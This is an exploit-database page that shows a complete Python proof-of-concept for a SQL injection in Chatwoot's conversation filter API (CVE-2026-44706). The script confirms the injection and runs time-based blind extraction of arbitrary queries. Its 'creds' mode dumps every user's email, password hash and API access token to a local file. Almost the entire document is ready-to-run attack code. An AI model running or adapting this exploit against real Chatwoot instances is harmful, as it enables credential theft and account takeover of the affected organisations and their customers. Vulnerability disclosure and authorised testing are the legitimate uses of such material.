Exploit databaseDownload repository ZIP
GH-015ed6a4ccf1f13afe211f4a9ce6bdd3
hakaioffsec/cve-2026-44706
Sources for CVE-2026-44706
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
hakaioffsec/cve-2026-44706Revision 59ce3facdaba
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/poc.py
Python · 8,024 bytes#!/usr/bin/env python3
import argparse, json, string, sys, time, requests
BANNER = """
_____________________________________________________________________________________
______ ___ _________ ___ ____ _____
___ / / /_/ |___/ //_/_/ |__/ _/ / Chatwoot SQLi - FilterService#lt_gt_filter/
__ /_/ /__ /| |__ , <__ /| | _/ / / /
_ __ /_ ___ |_ /| |_ ___ |__/ / / Chatwoot <= 4.11.1 /
/_/ /_/ /_/ |_|/_/ |_|/_/ |_|/___/ / https://hakaisecurity.io /
________________________________________________________________________________
"""
SLEEP = 2
THRESHOLD = 1.5
def build_payload(injected_sql):
value = f"2024-01-01'::date {injected_sql} 'epoch'::date > '2024-01-01"
return {"payload": [{"attribute_key": "created_at", "filter_operator": "is_greater_than",
"values": [value], "query_operator": None}]}
def send_request(base_url, account_id, token, payload, timeout=60):
return requests.post(f"{base_url}/api/v1/accounts/{account_id}/conversations/filter",
json=payload, headers={"Content-Type": "application/json",
"api_access_token": token}, timeout=timeout)
def blind_check(base_url, account_id, token, cond):
sqli = f"AND (SELECT CASE WHEN ({cond}) THEN pg_sleep({SLEEP}) ELSE pg_sleep(0) END)::text != 'x' OR"
t0 = time.time()
try:
send_request(base_url, account_id, token, build_payload(sqli), timeout=SLEEP + 30)
except Exception:
pass
return (time.time() - t0) >= THRESHOLD
def extract_int(base_url, account_id, token, expr, lo=0, hi=10000):
while lo <= hi:
mid = (lo + hi) // 2
if blind_check(base_url, account_id, token, f"({expr}) = {mid}"):
return mid
if blind_check(base_url, account_id, token, f"({expr}) > {mid}"):
lo = mid + 1
else:
hi = mid - 1
return None
def extract_string(base_url, account_id, token, expr, max_len=200, charset=None):
if not charset:
charset = (string.ascii_lowercase + string.ascii_uppercase + string.digits +
"@._-:$/ !#%^&*()+=[]{}|;',<>?~`\"\\")
length = extract_int(base_url, account_id, token, f"length(({expr})::text)", lo=0, hi=max_len)
if not length:
return ""
print(f" [{length} chars] ", end="", flush=True)
result = []
for pos in range(1, length + 1):
found = False
for ch in charset:
esc = ch.replace("'", "''")
c = f"substring(({expr})::text,{pos},1) = '{esc}'"
if blind_check(base_url, account_id, token, c):
if blind_check(base_url, account_id, token, c):
result.append(ch)
print(ch, end="", flush=True)
found = True
break
if not found:
result.append("?")
print("?", end="", flush=True)
print()
return "".join(result)
def mode_check(base_url, aid, token):
print("[*] CHECK — OR TRUE bypass\n")
r1 = send_request(base_url, aid, token, {"payload": [{"attribute_key": "created_at",
"filter_operator": "is_greater_than", "values": ["2099-01-01"], "query_operator": None}]})
c1 = r1.json().get("meta", {}).get("all_count", 0)
r2 = send_request(base_url, aid, token, build_payload("OR TRUE OR"))
c2 = r2.json().get("meta", {}).get("all_count", 0)
print(f" Normal: {c1} | OR TRUE: {c2}")
print(f"\n [!] SQL INJECTION CONFIRMED" if c2 > c1 else "\n [~] Inconclusive")
def mode_timebased(base_url, aid, token):
print("[*] TIMEBASED\n")
t0 = time.time()
send_request(base_url, aid, token, build_payload("AND (SELECT pg_sleep(0))::text != 'x' OR"))
t_base = time.time() - t0
t0 = time.time()
send_request(base_url, aid, token, build_payload("AND (SELECT pg_sleep(3))::text != 'x' OR"))
t_delay = time.time() - t0
print(f" sleep(0): {t_base:.2f}s | sleep(3): {t_delay:.2f}s | delta: {t_delay - t_base:.2f}s")
def mode_extract(base_url, aid, token, query, max_len=200):
print(f"[*] EXTRACT: {query}\n")
r = extract_string(base_url, aid, token, query, max_len=max_len)
print(f"\n => {r}" if r else "\n [~] Failed")
def mode_creds(base_url, aid, token):
print("[*] CREDS — extracting users + hashes\n")
hc = "$2ab10./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
ec = string.ascii_lowercase + string.digits + "@._-+" + string.ascii_uppercase
print(" Counting users...", end=" ", flush=True)
count = extract_int(base_url, aid, token, "SELECT count(*) FROM users", lo=0, hi=100)
if not count:
print("failed")
return
print(f"{count}\n")
creds = []
for i in range(count):
print(f"--- User {i + 1}/{count} ---")
uid = extract_int(base_url, aid, token,
f"SELECT id FROM users ORDER BY id LIMIT 1 OFFSET {i}", lo=1, hi=100000)
if not uid:
print(" failed\n")
continue
print(f" ID: {uid}")
email = extract_string(base_url, aid, token,
f"SELECT email FROM users WHERE id={uid}", max_len=100, charset=ec)
pw = extract_string(base_url, aid, token,
f"SELECT encrypted_password FROM users WHERE id={uid}", max_len=60, charset=hc)
tk = extract_string(base_url, aid, token,
f"SELECT token FROM access_tokens WHERE owner_type='User' AND owner_id={uid} LIMIT 1",
max_len=30)
creds.append({"id": uid, "email": email, "hash": pw, "token": tk})
print()
print("=" * 50)
for c in creds:
print(f" {c['email']} | {c['hash']} | token:{c['token']}")
with open("chatwoot_creds.json", "w") as f:
json.dump(creds, f, indent=2)
print("\nSaved to chatwoot_creds.json")
def main():
print(BANNER)
p = argparse.ArgumentParser(
description="Chatwoot SQLi PoC — GHSA-fm87-4wcf-44x6",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""examples:
./poc.py --url http://localhost:3000 --token TOKEN --account-id 1 --mode check
./poc.py --url http://localhost:3000 --token TOKEN --account-id 1 --mode timebased
./poc.py --url http://localhost:3000 --token TOKEN --account-id 1 --mode extract --query "SELECT version()"
./poc.py --url http://localhost:3000 --token TOKEN --account-id 1 --mode creds
"""
)
p.add_argument("--url", required=True, help="Chatwoot base URL")
p.add_argument("--token", required=True, help="API access token")
p.add_argument("--account-id", type=int, required=True, help="Account ID")
p.add_argument("--mode", choices=["check", "timebased", "extract", "creds"], default="check",
help="Exploit mode (default: check)")
p.add_argument("--query", default="SELECT version()", help="SQL query for extract mode")
p.add_argument("--max-len", type=int, default=200, help="Max string length for extraction")
args = p.parse_args()
base = args.url.rstrip("/")
try:
r = requests.get(f"{base}/api/v1/profile",
headers={"api_access_token": args.token}, timeout=30)
if r.status_code != 200:
print(f"[!] Auth failed ({r.status_code})")
sys.exit(1)
prof = r.json()
print(f"[+] {prof.get('name')} ({prof.get('email')}) — account {args.account_id}\n")
except Exception:
print(f"[!] Cannot connect to {base}")
sys.exit(1)
{"check": lambda: mode_check(base, args.account_id, args.token),
"timebased": lambda: mode_timebased(base, args.account_id, args.token),
"extract": lambda: mode_extract(base, args.account_id, args.token, args.query, args.max_len),
"creds": lambda: mode_creds(base, args.account_id, args.token)}[args.mode]()
if __name__ == "__main__":
main()